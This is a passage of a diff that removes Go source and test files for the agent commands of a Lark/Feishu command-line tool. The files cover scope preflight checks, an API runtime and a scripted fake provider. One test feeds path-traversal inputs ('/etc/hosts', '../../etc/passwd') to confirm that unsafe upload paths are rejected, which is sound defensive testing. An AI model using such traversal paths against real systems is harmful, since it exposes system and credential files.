-	if strings.Contains(ve.Hint, "auth login") {
-		t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
-	}
-	if !strings.Contains(ve.Hint, "developer console") {
-		t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
-	}
-}
-
-// TestPreflightBotAllScopesPresent pins the bot happy path.
-func TestPreflightBotAllScopesPresent(t *testing.T) {
-	if err := preflightScopes(preflightInput{
-		Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
-	}); err != nil {
-		t.Errorf("bot with all tenant scopes should pass, got %v", err)
-	}
-}
-
-// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
-// without a scope list) yields nil so the downstream not_configured /
-// need-authorization path owns the error.
-func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: nil,
-		Provider:    scopedInfo(t),
-	})
-	if err != nil {
-		t.Fatalf("no token scope list should return nil, got %v", err)
-	}
-}
-
-// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
-// fakescoped scopes passes the all-or-nothing check.
-func TestPreflightAllScopesPresent(t *testing.T) {
-	if err := preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
-	}); err != nil {
-		t.Errorf("should pass when all scopes present, got %v", err)
-	}
-}
-
-// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
-// is missing even a single scope fails, and the reported missing set is exactly
-// the scopes it lacks (not just this-verb scopes — the per-verb concept is
-// gone).
-func TestPreflightMissingAnyScopeFails(t *testing.T) {
-	// Missing exactly one scope (attachment) → that one scope is reported.
-	ve := requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser,
-		TokenScopes: []string{
-			"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
-		},
-		Provider: scopedInfo(t),
-	}))
-	if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
-		t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
-	}
-
-	// Only the write scope → the other three are all reported.
-	ve = requirePreflightError(t, preflightScopes(preflightInput{
-		Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
-	}))
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// ---------------------------------------------------------------------------
-// Command wiring: each verb runs preflight after resolveProvider and before
-// any real API call. The stored-scope read goes through the storedUserScopes
-// seam so no test touches the real keychain; zero httpmock stubs are
-// registered, so any HTTP request would fail the test with a transport error
-// instead of the asserted missing_scope.
-// ---------------------------------------------------------------------------
-
-// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
-func swapStoredScopes(t *testing.T, scopes []string) {
-	t.Helper()
-	old := storedUserScopes
-	storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
-	t.Cleanup(func() { storedUserScopes = old })
-}
-
-// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
-// explicitly set to user so ResolveAs honors it verbatim.
-func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
-	t.Helper()
-	parent := &cobra.Command{Use: "lark-cli"}
-	for _, name := range names {
-		child := &cobra.Command{Use: name}
-		parent.AddCommand(child)
-		parent = child
-	}
-	parent.Flags().String("as", "", "identity")
-	if err := parent.Flags().Set("as", "user"); err != nil {
-		t.Fatal(err)
-	}
-	parent.SetContext(context.Background())
-	return parent
-}
-
-// userFactory builds a test Factory + registry for a user-identity run.
-func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
-	t.Helper()
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	return f, reg
-}
-
-// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
-// holds none of the provider's scopes fails with missing_scope
-// (reporting the full set) and no request.
-func TestSendPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
-		t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
-	}
-}
-
-// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
-// still fails the all-or-nothing check, reporting the three scopes it lacks.
-func TestSendPreflightPartialTokenBlocked(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
-		t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
-	}
-}
-
-// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
-// scope-free — it succeeds even when the token has none of the provider scopes.
-func TestSendDryRunSkipsPreflight(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
-	})
-	if err != nil {
-		t.Fatalf("--dry-run should not run scope preflight: %v", err)
-	}
-}
-
-// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
-func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
-		t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
-// (resolveDownload path): it too runs the all-or-nothing preflight before the
-// API call.
-func TestTaskGetArtifactPreflightFires(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-		ArtifactID: "art_1", Output: "out.bin",
-	})
-	ve := requirePreflightError(t, err)
-	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
-		t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
-	}
-}
-
-// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
-func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
-	swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-	f, _ := userFactory(t)
-	err := agentTaskListRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
-		Ref: "fakescoped:agt_x", As: "user",
-	})
-	requirePreflightError(t, err)
-}
-
-// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
-// wiring: all three run the all-or-nothing preflight.
-func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
-	runs := []struct {
-		name string
-		run  func(f *cmdutil.Factory) error
-	}{
-		{"list", func(f *cmdutil.Factory) error {
-			return agentContextListRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
-				Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
-			})
-		}},
-		{"get", func(f *cmdutil.Factory) error {
-			return agentContextGetRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
-			})
-		}},
-		{"delete", func(f *cmdutil.Factory) error {
-			return agentContextDeleteRun(&contextOptions{
-				Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
-				Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
-			})
-		}},
-	}
-	for _, tc := range runs {
-		t.Run(tc.name, func(t *testing.T) {
-			swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
-			f, _ := userFactory(t)
-			requirePreflightError(t, tc.run(f))
-		})
-	}
-}
-
-// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
-// provider scope set lets the real send proceed (the scripted Send hook fires,
-// proving preflight did not false-positive).
-func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
-	swapStoredScopes(t, fakescopedAllScopes)
-	f, _ := userFactory(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
-	}})
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
-		Ref: "fakescoped:agt_x", Text: "hi", As: "user",
-	})
-	if err != nil {
-		t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
-	}
-	if !sent {
-		t.Fatal("provider.Send should actually be called after preflight passes")
-	}
-}
-
-// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
-// gate (fakescoped card declares task_cancel=false) answers before
-// provider/preflight, so a scope-missing user token yields
-// unsupported_capability, not missing_scope — proving the wired
-// preflight does not change the gate-first ordering.
-func TestTaskCancelPreflightWired(t *testing.T) {
-	swapStoredScopes(t, []string{"im:message"})
-	f, _ := userFactory(t)
-	err := agentTaskCancelRun(&taskOptions{
-		Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
-	})
-	if err == nil {
-		t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
-	}
-}
-
-// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
-// app-version fetch / network.
-func swapBotTenantScopes(t *testing.T, scopes []string) {
-	t.Helper()
-	old := botTenantScopes
-	botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
-	t.Cleanup(func() { botTenantScopes = old })
-}
-
-// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
-// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
-// storedUserScopes) for a bot identity and blocks a missing scope.
-func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
-	swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
-	f, _ := userFactory(t)
-	err := agentTaskGetRun(&taskOptions{
-		Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
-		Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
-	})
-	ve := requirePreflightError(t, err)
-	if ve.Identity != string(core.AsBot) {
-		t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
-	}
-	if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
-		t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
-	}
-}
-
-// contains reports whether s appears in the slice.
-func contains(ss []string, s string) bool {
-	for _, x := range ss {
-		if x == s {
-			return true
-		}
-	}
-	return false
-}

cmd/agent/register_test.go

@@ -1,11 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// Provider packages are pure data (no init side effect); the top-level agent
-// package's init aggregates and registers them. In production that package is
-// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
-// the real example scheme (example:echo / example:reporter), so blank-import the
-// top-level agent package to run its registration for the test binary.
-import _ "github.com/larksuite/cli/agent"

cmd/agent/runtime.go

@@ -1,107 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-
-	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// cmdRuntime is the concrete iagent.Runtime: it routes provider hook calls
-// through the shared client.APIClient under a pinned identity (mirrors event's
-// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
-// the identity resolution, or the response-envelope unwrap — that is exactly the
-// plumbing the old Deps struct leaked.
-type cmdRuntime struct {
-	client  *client.APIClient
-	as      core.Identity
-	agentID string
-}
-
-func (r *cmdRuntime) AgentID() string { return r.agentID }
-func (r *cmdRuntime) IsBot() bool     { return r.as == core.AsBot }
-
-func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
-	var params map[string]interface{}
-	if len(query) > 0 {
-		params = make(map[string]interface{}, len(query))
-		for k, v := range query {
-			params[k] = v
-		}
-	}
-	return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
-}
-
-func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagent.FilePart) (json.RawMessage, error) {
-	fd := larkcore.NewFormdata()
-	for k, v := range fields {
-		fd.AddField(k, v)
-	}
-	for _, fp := range files {
-		// SafeInputPath is the framework-owned security check (no path traversal /
-		// outside CWD); a provider must never re-implement it.
-		resolved, err := validate.SafeInputPath(fp.Path)
-		if err != nil {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
-				WithParam("--file").WithCause(err)
-		}
-		f, err := vfs.Open(resolved)
-		if err != nil {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
-				WithParam("--file").WithCause(err)
-		}
-		// Closed when CallMultipart returns, i.e. after do()'s request has read the
-		// body — deferring in the loop keeps every file open for the request.
-		defer f.Close()
-		fd.AddFile(fp.Field, f)
-	}
-	return r.do(ctx, client.RawApiRequest{
-		Method: method, URL: path, Data: fd, As: r.as,
-		ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
-	})
-}
-
-// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
-// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
-// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
-// out; any non-typed transport error is classified here so hooks only ever see
-// typed errs.* values.
-func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
-	resp, err := r.client.DoAPI(ctx, req)
-	if err != nil {
-		if _, ok := errs.ProblemOf(err); ok {
-			return nil, err
-		}
-		return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
-	}
-	result, err := client.ParseJSONResponse(resp)
-	if err != nil {
-		if _, ok := errs.ProblemOf(err); ok {
-			return nil, err
-		}
-		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
-	}
-	if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
-		return nil, apiErr
-	}
-	top, _ := result.(map[string]interface{})
-	dataVal, ok := top["data"]
-	if !ok || dataVal == nil {
-		return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
-	}
-	raw, err := json.Marshal(dataVal)
-	if err != nil {
-		return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
-	}
-	return raw, nil
-}

cmd/agent/runtime_test.go

@@ -1,207 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"io"
-	"net/http"
-	"strings"
-	"testing"
-
-	lark "github.com/larksuite/oapi-sdk-go/v3"
-	larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/credential"
-)
-
-// staticTokenResolver always returns a fixed token without any HTTP call.
-type staticTokenResolver struct{}
-
-func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
-	return &credential.TokenResult{Token: "test-token"}, nil
-}
-
-// stubRoundTripper intercepts every outgoing request with a canned response.
-type stubRoundTripper struct {
-	respond func(*http.Request) (*http.Response, error)
-}
-
-func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
-
-// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
-// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
-// pinned to as; agentID is fixed.
-func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
-	sdk := lark.NewClient("test-app", "test-secret",
-		lark.WithEnableTokenCache(false),
-		lark.WithLogLevel(larkcore.LogLevelError),
-		lark.WithHttpClient(&http.Client{Transport: rt}),
-	)
-	return &cmdRuntime{
-		client: &client.APIClient{
-			SDK:        sdk,
-			ErrOut:     io.Discard,
-			Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
-			Config:     &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
-		},
-		as:      as,
-		agentID: agentID,
-	}
-}
-
-func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
-	return func(r *http.Request) (*http.Response, error) {
-		return &http.Response{
-			StatusCode: status,
-			Header:     http.Header{"Content-Type": []string{"application/json"}},
-			Body:       io.NopCloser(strings.NewReader(body)),
-			Request:    r,
-		}, nil
-	}
-}
-
-// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
-// surfaced only via IsBot() (never the raw client), and AgentID echoes the
-// addressed agent.
-func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
-	bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
-	if !bot.IsBot() {
-		t.Error("bot runtime should report IsBot()=true")
-	}
-	if bot.AgentID() != "agt_1" {
-		t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
-	}
-	usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
-	if usr.IsBot() {
-		t.Error("user runtime should report IsBot()=false")
-	}
-}
-
-// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
-// returns the raw "data" object (not the whole envelope), and the typed Call[T]
-// helper decodes that raw data into a struct.
-func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
-	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
-	if err != nil {
-		t.Fatalf("CallAPI should succeed: %v", err)
-	}
-	var data map[string]any
-	if err := json.Unmarshal(raw, &data); err != nil {
-		t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
-	}
-	if data["task_id"] != "t1" || data["state"] != "completed" {
-		t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
-	}
-
-	// The typed Call[T] helper decodes that same raw data into a struct — no
-	// map[string]any assertions at the call site.
-	got, err := iagent.Call[struct {
-		TaskID string `json:"task_id"`
-		State  string `json:"state"`
-	}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
-	if err != nil {
-		t.Fatalf("Call[T] should succeed: %v", err)
-	}
-	if got.TaskID != "t1" || got.State != "completed" {
-		t.Errorf("Call[T] should decode data into the struct, got %+v", got)
-	}
-}
-
-// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
-// (CheckResponse), not a silent success.
-func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
-	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
-		t.Fatal("a non-zero API code should surface as an error")
-	} else if _, ok := errs.ProblemOf(err); !ok {
-		t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
-	}
-}
-
-// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
-// RoundTrip failure is classified as a network transport error.
-func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
-	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
-		return nil, errors.New("dial refused")
-	}}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
-	if err == nil {
-		t.Fatal("a transport error should propagate")
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Category != errs.CategoryNetwork {
-		t.Fatalf("transport error should be a network error, got %+v", p)
-	}
-}
-
-// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
-// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
-// traversal path is rejected as invalid_argument (param --file) and NO request
-// is issued (the transport panics if reached).
-func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
-	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
-		t.Fatal("no request should be issued when the --file path is unsafe")
-		return nil, nil
-	}}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
-		_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
-			map[string]string{"type": "file"},
-			[]iagent.FilePart{{Field: "file", Path: bad}})
-		if err == nil {
-			t.Fatalf("an unsafe --file path %q should be rejected", bad)
-		}
-		if !errs.IsValidation(err) {
-			t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
-		}
-		var ve *errs.ValidationError
-		if !errors.As(err, &ve) || ve.Param != "--file" {
-			t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
-		}
-	}
-}
-
-// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
-// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
-// --file path, CallUpload propagates that validation error and returns the zero
-// value of T without attempting a decode. Mirrors the Call[T] coverage in
-// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
-// are exercised, not just the JSON one.
-func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
-	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
-		t.Fatal("no request should be issued when the --file path is unsafe")
-		return nil, nil
-	}}
-	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
-
-	got, err := iagent.CallUpload[struct {
-		AttachmentID string `json:"attachment_id"`
-	}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
-		map[string]string{"type": "file"},
-		[]iagent.FilePart{{Field: "file", Path: "/etc/hosts"}})
-	if err == nil {
-		t.Fatal("CallUpload with an unsafe --file path should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
-	}
-	if got.AttachmentID != "" {
-		t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
-	}
-}

cmd/agent/scripted_provider_test.go

@@ -1,136 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"sync"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
-// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
-// a test reaching an unexpected provider path. The command-layer contracts under
-// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
-// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
-type scriptedHooks struct {
-	send             func(in iagent.SendInput) (*iagent.AgentTask, error)
-	getTask          func(taskID string) (*iagent.AgentTask, error)
-	listTasks        func(contextID string) ([]iagent.TaskSummary, error)
-	listContexts     func() ([]iagent.ContextSummary, error)
-	getContext       func(ctxID string) (*iagent.ContextDetail, error)
-	deleteContext    func(ctxID string) error
-	downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
-}
-
-// scripted is the package-level hook set shared by every scripted instance (the
-// registered provider is fixed per package run, the hooks can be re-pointed).
-var scripted scriptedHooks
-
-// setScripted installs the hooks for one test and restores the empty (panic
-// tripwire) set on cleanup.
-func setScripted(t *testing.T, h scriptedHooks) {
-	t.Helper()
-	scripted = h
-	t.Cleanup(func() { scripted = scriptedHooks{} })
-}
-
-// scriptedSpec is the instance template whose capability surface is fixed by
-// which hooks are wired: CancelTask is deliberately left UNWIRED so
-// task_cancel=false (the cancel gate is exercised via example:echo); everything
-// else the command tests drive is wired, and FileInput=true so the --file
-// gate/confirm path is reachable. Each wired hook delegates to the per-test hook
-// and panics if it was not set.
-func scriptedSpec() *iagent.AgentSpec {
-	return &iagent.AgentSpec{
-		FileInput: true,
-		Send: func(_ context.Context, _ iagent.Runtime, in iagent.SendInput) (*iagent.AgentTask, error) {
-			if scripted.send == nil {
-				panic("scripted provider: Send hook not set")
-			}
-			return scripted.send(in)
-		},
-		GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
-			if scripted.getTask == nil {
-				panic("scripted provider: GetTask hook not set")
-			}
-			return scripted.getTask(taskID)
-		},
-		ListTasks: func(_ context.Context, _ iagent.Runtime, contextID string) ([]iagent.TaskSummary, error) {
-			if scripted.listTasks == nil {
-				panic("scripted provider: ListTasks hook not set")
-			}
-			return scripted.listTasks(contextID)
-		},
-		ListContexts: func(_ context.Context, _ iagent.Runtime) ([]iagent.ContextSummary, error) {
-			if scripted.listContexts == nil {
-				panic("scripted provider: ListContexts hook not set")
-			}
-			return scripted.listContexts()
-		},
-		GetContext: func(_ context.Context, _ iagent.Runtime, ctxID string) (*iagent.ContextDetail, error) {
-			if scripted.getContext == nil {
-				panic("scripted provider: GetContext hook not set")
-			}
-			return scripted.getContext(ctxID)
-		},
-		DeleteContext: func(_ context.Context, _ iagent.Runtime, ctxID string) error {
-			if scripted.deleteContext == nil {
-				panic("scripted provider: DeleteContext hook not set")
-			}
-			return scripted.deleteContext(ctxID)
-		},
-		DownloadArtifact: func(_ context.Context, _ iagent.Runtime, taskID, artifactID string) (*iagent.ArtifactData, error) {
-			if scripted.downloadArtifact == nil {
-				panic("scripted provider: DownloadArtifact hook not set")
-			}
-			return scripted.downloadArtifact(taskID, artifactID)
-		},
-	}
-}
-
-// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
-// provider, sorted — the all-or-nothing preflight requires every one for any
-// real API verb.
-var fakescopedAllScopes = []string{
-	"fakescoped:agent_artifact:read",
-	"fakescoped:agent_attachment:write",
-	"fakescoped:agent_chat:read",
-	"fakescoped:agent_chat:write",
-}
-
-// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
-// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
-const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
-
-// registerScripted registers the two scripted schemes exactly once (Register
-// panics on duplicates). Both are instance-type (agent_id is arbitrary), and not
-// enumerable (no ListAgents hook). They leak into the package-level registry for
-// the rest of this package run — so no test may assert an exact provider set.
-//
-//   - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
-//   - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
-var registerScriptedOnce sync.Once
-
-func registerScripted() {
-	registerScriptedOnce.Do(func() {
-		iagent.Register(iagent.Provider{
-			Scheme:        "fakeflow",
-			Label:         "test fake (scripted flow)",
-			AgentIDSource: fakeflowAgentIDSource,
-			Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-			Instance:      scriptedSpec(),
-		})
-		iagent.Register(iagent.Provider{
-			Scheme:         "fakescoped",
-			Label:          "test fake (scoped)",
-			AgentIDSource:  "test only",
-			RequiredScopes: fakescopedAllScopes,
-			Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
-			Instance:       scriptedSpec(),
-		})
-	})
-}

cmd/agent/send.go

@@ -1,333 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"regexp"
-	"time"
